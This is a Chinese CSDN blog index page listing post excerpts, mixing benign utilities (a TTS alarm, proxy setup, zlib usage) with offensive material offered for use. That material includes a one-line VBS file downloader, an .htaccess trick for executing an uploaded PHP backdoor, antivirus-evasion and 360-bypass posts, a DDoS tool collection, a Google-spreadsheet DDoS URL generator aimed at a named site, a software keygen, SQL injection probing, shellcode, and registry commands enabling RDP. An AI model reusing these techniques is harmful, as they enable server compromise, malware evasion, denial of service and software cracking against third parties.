冷风-优快云博客

原创使用python编写一个语音朗读闹钟

想找一个可以播放文字的闹钟找不到，自己写一个更简单。TTS实现由很多种办法，百度等都提供了API接口，但类似百度，需要先注册等一系列动作。其实windows自带的win32com功能可以简单实现TTS功能。要用到win32com模块, 可以通过如下指令进行安装python -m pip install pypiwin32安装以后就可以编写播放代码了如下#coding:utf-8import win32com.clientspk = win32com.client.Dispatch

2020-07-12 09:56:31 651

原创 CentOS7.6 安装xrdp远程桌面

1、系统准备本篇文章是在CentOS7.6中安装的，一般7.x版本都可以。一键安装脚本的GITHUT地址为https://github.com/MeowLove/Linux-Remote-Desktop-Environment其中CentOS的角本地址为https://github.com/freehao123/Linux-Remote-Desktop-Environment/blob/master/Download/Common/Main/CentOS.sh其源代码如下#!/

2020-05-26 14:35:07 1985

转载 Ubuntu上安装tinyproxy搭建HTTP代理服务器

1.TinyProxy安装sudo apt-get updateapt-get install tinyproxy2.然后配置参数文件：vi /etc/tinyproxy.conf3.修改下面两个部分。Port 8888 #预设是8888端口Allow 127.0.0.1 #将127.0.0.1改成你自己的IP，只有这个IP才能连接，前面打#注释掉则所有人都...

2020-02-25 18:55:33 4059 1

原创时间真快

2019年了后续还要继续写写东西，日子一天天过去了，没什么积累

2019-08-08 14:22:39 300

转载 DDOS工具合集

CC著名的DDOS CC工具，效果非常好！CC 2.0使用了和CC 1.0一样的原理但是不同的编程技术CC 2.0的理论连接比CC 1.0 有了几十倍的提高但是在同样连接数的效率上有所降低CC 2.0支持比1.0更多的随机参数+{S|s|N|n|P|p|C|c}{1~9}S:大写英文s:小写英文P|p:密码模式，就是英文数字都有的N|n:数字C|c:中文还增加了一个+L，表示是上一次随机的，比如论

2017-07-10 16:20:11 50928 13

原创 bash for循环使用

for ((i=1000; i0; ++i)) do kill $idone 比如我想结束，PID从1000到2000的进程

2017-06-07 11:25:25 2577

转载 bash脚本

写的太好，我实在忍不住收在自己的博客下：一个最简单的脚本这篇指南将通过一些例子来帮助大家学习功能强大的shell脚本编程.在这一节中我将学习一些简单的脚本，它将有利于你深入学习一些知识。一个最经典的Hello World程序#!/bin/bashecho Hello World这个脚本只有二行，它的第一行这个脚本程序由那个程序来解释.第二行只有一个简单的动作，它的功能是在终端上打印出一行”Hel

2017-04-05 16:17:36 1902

原创转眼一年没写BLOG了

看下了，上次写的文章，都一年了，越来越懒了。

2016-07-12 16:28:08 2469

转载人生的意义

“人生的意义是什么？”汪踦问病危的父亲。父亲躺在病床上，轻声叹息道：“我一辈子都在追寻这个问题的答案，后来我发现，人的局限性太多，就接近不了这个答案。“就像一个贫穷的人，他面临着贫困的恐惧，所以不能真正的生活。他会向权贵低头，他会为衣食所忧，而不愁吃穿的人们才会有闲情逸致探讨哲学。这就是经济导致的视野局限。“然而我错了，经济固然有局限人的地方，但还有另一个因素：寿命。人们面临死亡的恐惧，所以不能很

2016-07-12 16:27:15 2545 2

原创一句话vbs下载

dark发的，记录下。echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile ws

2015-07-13 11:11:53 3349

原创修改.htaccess执行非php文件

是个很老技术了，有一个php上传，可以控制上传的文件名，但服务器端做了过滤，文件名中不能包含php字符串，各种绕过无效。后面就上传了一个 .htaccess文件里面只有一句AddType application/x-httpd-php .abc之后，把php后门改成 xx.abc上传上去就可以执行了。

2015-06-18 17:05:56 5684

原创机器夏娃

晚上无睡意，看了机器夏娃这电影，从头到尾，只有4个演员，这风格跟《这个男人来自地球》一样但更沉闷一些。开始节奏沉闷，后来慢慢有意思，到最后结果，跟爱情片预期大大有差别，结果理所当然，却又让人匪夷所思。脑袋都要烧坏了，人工智能成就的物种，终究是要超越人类的，也算是人类的进化，人类自身进化局限时，就会有新的物种出现。这也算是一个，由量变到质变的转化。

2015-06-17 20:50:08 3093

原创一个视频分割软件

视频分割软件(Ultra Video Splitter)V6.4.1010 绿色中文版

2015-01-12 17:48:43 2632

原创关于透明代理mitmproxy和squit

关于透明代理mitmproxy和squit后期工作中，会用到，这里暂做记录。其中 kali sniffing /spoofing /web sniffers /mitmproxy 中包含了 mitmproxy

2015-01-06 15:46:22 4494

原创简明 Vim 练级攻略

http://coolshell.cn/articles/5426.html简明 Vim 练级攻略

2014-12-11 22:48:28 2678

原创使用服务加载启动的dll模板代码

有时创建服务启动，服务的dll写法

2014-11-06 17:47:50 3869

原创渗透通过ftp -s:filename.txt下载文件

渗透过程，有时要通过ftp -s:filename.txt下载文件其中

2014-11-04 16:01:05 10626

转载 3389常用命令操作

1.查询终端端口REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber2.开启XP&2003终端服务REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConn

2014-11-03 16:22:04 4412

原创 owasp 目录枚举软件DirBuster

owasp 目录枚举软件DirBuster

2014-10-31 00:43:52 5696

原创社工邮箱搜索神器theharvester.py

效果很好、很好，theharvester.py -d tobacco.gov.cn -l 500 -b baidu

2014-10-20 22:20:41 7329

转载取带runas的一些优秀小工具介绍

2、使用 sanur，sanur 是一个小程序，能以管道的方法将密码或者文件中的内容传递给 runas 程序。runas | sanur passwordrunas | sanur /i [drive:][path]filename特点：密码明文保存。----------------------------------About SanurSanur is a tiny Win32 console

2014-10-11 16:42:28 8818

原创免杀-加密前4k程序

#include "stdafx.h"#includevoid Decrypt4k(TCHAR *str){ HANDLE hFile = CreateFile(str, GENERIC_READ|GENERIC_WRITE , 0, NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile==NULL||hFile=

2014-09-28 14:37:11 3433

原创绕过360安全卫士的部分代码

利用快捷方式，由用户启动程序，进行绕过360

2014-09-22 16:26:00 7695

转载 Android利用Fiddler进行网络数据抓包

主要介绍Android及IPhone手机上如何进行网络数据抓包，比如我们想抓某个应用(微博、微信、墨迹天气)的网络通信请求就可以利用这个方法。相对于tcpdump配合wireshark抓包的优势在于：(1)无需root (2)对Android和Iphone同样适用 (3)操作更简单方便(第一次安装配置，第二次只需设置代理即可) (4)数据包的查看更清晰易懂,Fiddler的UI更简单明了 (5)

2014-07-15 15:49:28 1917

转载注入点的判断及猜解

注入点的判断及猜解本文由zoujialan贡献一、注入点的判断及猜解1.加入单引号 ’提交,结果:如果出现错误提示，则该网站可能就存在注入漏洞。2.数字型判断是否有注入;语句：and 1=1 ;and 1=2 （经典）、' and '1'=1(字符型）结果:分别返回不同的页面,说明存在注入漏洞.分析：and 的意思是“和”如果没有过滤我们的语句，and 1=1就会被代入SQL查询语句进行查询，如果

2014-06-27 11:05:10 17437

原创 winxp、win2003、win7、win8通用的shellcode

此代码在vc6下直接编译，提取shellcode时进行debug模式，打开内存窗口，复制出二进制代码，整理成shellcode就可以了

2014-06-16 15:58:49 6852

原创 MediaCoder字幕乱码问题

Aegisub创建的字幕默认是UTF8编码，放到MediaCoder中会有乱码效果。解决方法如下：1.把

2014-05-20 14:27:52 9390 1

原创 YT88加密狗

H:\E\share\加密狗\YT88\外壳加密程序\外壳加密10(推荐)目录中有一个外壳加密工具80.exe

2014-05-04 14:56:55 5143 1

原创 emlog文章内容批量替换

一句sql语句

2014-04-29 15:57:49 1989

原创 MediaCoder

VC6中创建一个MFC命令行工程，可以直接编译，懂的，可以拿来用。#include "stdafx.h"#include "MediaCoder注册机.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endifCWinApp theApp;usin

2014-04-09 14:06:02 3382

转载旧书重温：0day2【4】动态获取函数地址

http://www.cnblogs.com/witty/p/PEB_shellcode_win7_xp.html旧书重温：0day2【4】动态获取函数地址

2014-03-28 15:58:07 1233

转载动态定位API的shellcode

动态定位API的shellcode前面的HOOK IAT RING3>>文章中使用到了shellcode，那么这个shellcode是怎么制造出来的呢，本文将为你一步一步的解惑这个shellcode的主要功能是调用MessageBoxA弹出一个空的对话框，注意此时的地址空间是在别的进程，由于不同的操作系统会影响动态链接库的加载地址，而且不同版本的dll中函数的偏移量RVA也不尽相同，因此写一个通用

2014-03-27 17:35:54 2926

原创 GOOGLE DDOS生成动态url

void create_google_doos_url(){ char str_url[MAX_PATH]={0}; FILE * fp =fopen("h:\\url.txt","wb+"); for (DWORD i =0;i<1000000;i++) { sprintf(str_url,"=image(\"http://www.mtvxz.cn/player/playe

2014-03-21 10:51:14 1233

转载 PHP上传文件大小限制的问题

在用PHP进行文件上传的操作中，需要知道怎么控制上传文件大小的设置，而文件可传大小是受到多种因素制约的，现总结如下：1、php.ini:upload_max_filesize 所上传的文件的最大大小。默认值2M。2、php.ini:memory_limit 本指令设定了一个脚本所能够申请到的最大内存字节数，默认值8M。如果不需要任何内存上的限制，必须将其设为 -1。如果内存不够，则可能出现错误：F

2014-03-17 21:43:48 1346

转载使用zlib库里的compress函数与uncompress函数

zlib 是通用的压缩库，提供了一套 in-memory 压缩和解压函数，并能检测解压出来的数据的完整性(integrity)。zlib 也支持读写gzip (.gz) 格式的文件。下面介绍两个最有用的函数——compress 和 uncompress。 int compress(Bytef *dest, uLongf *destLen, const Bytef *source, uLong so

2014-03-14 16:03:39 3443

转载 zlib库编译使用,编译好的LIB静态库

编译默认的库老是显示无法解析的 _uncompress 之类把代码重新新建工程编译了一下就解决了编译环境: VS2008ZLIB版本: 1.2.8把头文件放在include目录 lib放在lib目录使用:#include #pragma comment(lib,"zlib.lib")就能使用了下载地址:http://download.youkuaiyun.com/download/wqrsksk/5343

2014-03-14 14:06:13 6138

转载 VC++检测VM、VPC虚拟机代码

C++检测VM、VPC虚拟机代码，添加后只需要调用IsVirtualMachine即可判断是否在虚拟机运行！AntiVM.h#ifndef __DETECT_VM__02222005__ #define __DETECT_VM__02222005__ bool IsVirtualMachine(); bool IsInsideVPC(); bool IsInsideVMWar

2014-02-14 10:35:02 5478 1

原创 chrome书签重复啿

chrome浏览器人书签，偶尔会发神经病，重复内容一坨一坨的，原因不明，一阵搜索解决方法如下。后来，发现，还是有工具可以去除重复书签的，这个就比较好用：Bookmark Sentry (scanner) 1.7.17https://chrome.google.com/webstore/detail/bdglbbcbmgnimogcmcdenggkpdmihlga 还有一个更好的应用：https:

2014-01-30 17:17:16 3557

转载 C++ \u中文乱码解决办法

以下是一个jsoncpp解析有\u中文json文件的例子：std::string showname = rootOne["showname"].asString();int len=strlen(showname.c_str())+1;char outch[MAX_PATH];WCHAR * wChar=new WCHAR[len];wChar[0]=0;MultiByteToWideChar(C

2014-01-26 16:49:42 7738

原创判断自己的父进程是不是由explorer启动

直接把代码放上。#include "stdafx.h"#include #include #include DWORD get_parent_processid(DWORD pid)//获取指定进程的父进程ID{ DWORD ParentProcessID=-1; PROCESSENTRY32 pe; HANDLE hkz; HMODULE hModule = LoadL

2014-01-20 15:22:16 5090

枚举窗口及子控件VC代码

2014-04-09

SPI 注入安装模板

SPI注入需要两部分内容 1.安装SPI服务 2.编写一个导出wspstartup的DLL 这里是一个空的模板，都可以正常运行，测试环境为windwos xp,win7,win2003

2012-07-26

detours2.1 VC6中编译方法及源代码及使用例子及编译好的BIN

detours2.1在vc6中编译方法 1.在纯VC6环境中新建 win32 static library 项目名设为detours 2.把detours2.1 scr目录中的源文件全部添加到项目 3.在Project->Seting->C/C++->Preprocessor definitions中添加DETOURS_X86 4.打开项目中detoured.cpp把里面DllMain函数名修改为LengFeng(否则使用时会出现DllMain冲突)error LNK2005: _DllMain@12 already defined in ***.obj 5.直接编译就可以生成detours.lib 6.在需要的项目中使用detours.lib和detours.h 就可以了 7.附件中提供了编译好的detours.lib和系统源代码注意:需要在没有安装SDK的环境编译，如果安装过SDK,请把SDK的顺序调到最后 detour_2.1 为源码 detours_bin 为BIN hook_send 为例子 2012-7-12 冷风 QQ 121121606

2012-07-12

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

枚举窗口及子控件VC代码

SPI 注入 安装模板

detours2.1 VC6中编译方法及源代码及使用例子及编译好的BIN

android 开机启动源代码

Peer-to-Peer数据共享研究.PDF

Peer-to-Peer计算模型及其安全对策

视频捕获-mpeg4压缩-网络传送源码(VC 6.0)

Gh0st远程控制源代码

windows核心编程

注册表管理

服务管理器

IPC种植器

空空如也

SPI 注入安装模板